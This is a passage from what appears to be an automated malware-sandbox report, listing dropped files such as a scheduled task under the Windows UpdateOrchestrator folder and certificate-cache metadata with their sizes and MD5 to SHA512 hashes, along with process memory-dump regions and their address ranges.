                                                                                                                      55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                      SHA512

                                                                                                                      5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      0b990e24f1e839462c0ac35fef1d119e

                                                                                                                      SHA1

                                                                                                                      9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                      SHA256

                                                                                                                      a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                      SHA512

                                                                                                                      c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                    • C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                      Filesize

                                                                                                                      328B

                                                                                                                      MD5

                                                                                                                      9dade5ba3b439d0ad2777490362130f5

                                                                                                                      SHA1

                                                                                                                      131336c492f7469c6d89cfaef1aef9ea9dcc7154

                                                                                                                      SHA256

                                                                                                                      b0c0baf16b0812425147cf5ada7d9c5c0d47d74c992d120b5b6cec815ec28590

                                                                                                                      SHA512

                                                                                                                      18f84cf1f64e9dd664a6e900e925fdb8dbcd05c040de6dd6f2319f24a8a3f2742236f98a3840b94242881c8f89364a4a9a7b9ce4190ad1e6ba24ecb68eeffc2f

                                                                                                                    • C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

                                                                                                                      Filesize

                                                                                                                      330B

                                                                                                                      MD5

                                                                                                                      f2c33b8b8abeff366e568ff2e3217e33

                                                                                                                      SHA1

                                                                                                                      fa9cbd2ecfdd85660eb58d75a42c1a7e8eb886bf

                                                                                                                      SHA256

                                                                                                                      d01f1035a539ddada7a0a17f9467d898280996b3b0746d08d9cfd545a2f3a54c

                                                                                                                      SHA512

                                                                                                                      cb6ac2db5b88fce40a5a105479ed0b05d1064c167a8b449f470d2cb60187220b557839d808f296d13f9e8915d8a8224f159eda7e7a3e1aee86e618c535d01a64

                                                                                                                    • memory/392-102-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/556-114-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/784-103-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/908-104-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/960-108-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/1540-110-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/1808-111-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/1980-107-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/2008-15-0x00000133F5B60000-0x00000133F5B68000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      32KB

                                                                                                                    • memory/2008-16-0x00000133F8220000-0x00000133F8290000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      448KB

                                                                                                                    • memory/2008-14-0x00000133F82A0000-0x00000133F8316000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      472KB

                                                                                                                    • memory/2008-13-0x00000133F81D0000-0x00000133F8214000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      272KB

                                                                                                                    • memory/2008-12-0x00007FFD3FD70000-0x00007FFD40831000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      10.8MB

                                                                                                                    • memory/2008-50-0x00007FFD3FD70000-0x00007FFD40831000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      10.8MB

                                                                                                                    • memory/2008-11-0x00007FFD3FD70000-0x00007FFD40831000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      10.8MB

                                                                                                                    • memory/2008-10-0x00000133F7E00000-0x00000133F7E22000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      136KB

                                                                                                                    • memory/2008-0-0x00007FFD3FD73000-0x00007FFD3FD75000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      8KB

                                                                                                                    • memory/2252-112-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/2268-105-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/3452-51-0x0000000002E10000-0x0000000002E3A000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/3452-101-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/3600-106-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/4516-113-0x00007FFD1F350000-0x00007FFD1F360000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/4572-154-0x0000020F5D870000-0x0000020F5D882000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      72KB

                                                                                                                    • memory/4572-155-0x0000020F5D8D0000-0x0000020F5D90C000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      240KB

                                                                                                                    • memory/4572-153-0x0000020F5D0B0000-0x0000020F5D10E000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      376KB

                                                                                                                    • memory/4864-32-0x00007FFD3FD70000-0x00007FFD40831000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      10.8MB

                                                                                                                    • memory/4864-29-0x00007FFD3FD70000-0x00007FFD40831000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      10.8MB

                                                                                                                    • memory/4864-28-0x00007FFD3FD70000-0x00007FFD40831000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      10.8MB

                                                                                                                    • memory/4864-23-0x00007FFD3FD70000-0x00007FFD40831000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      10.8MB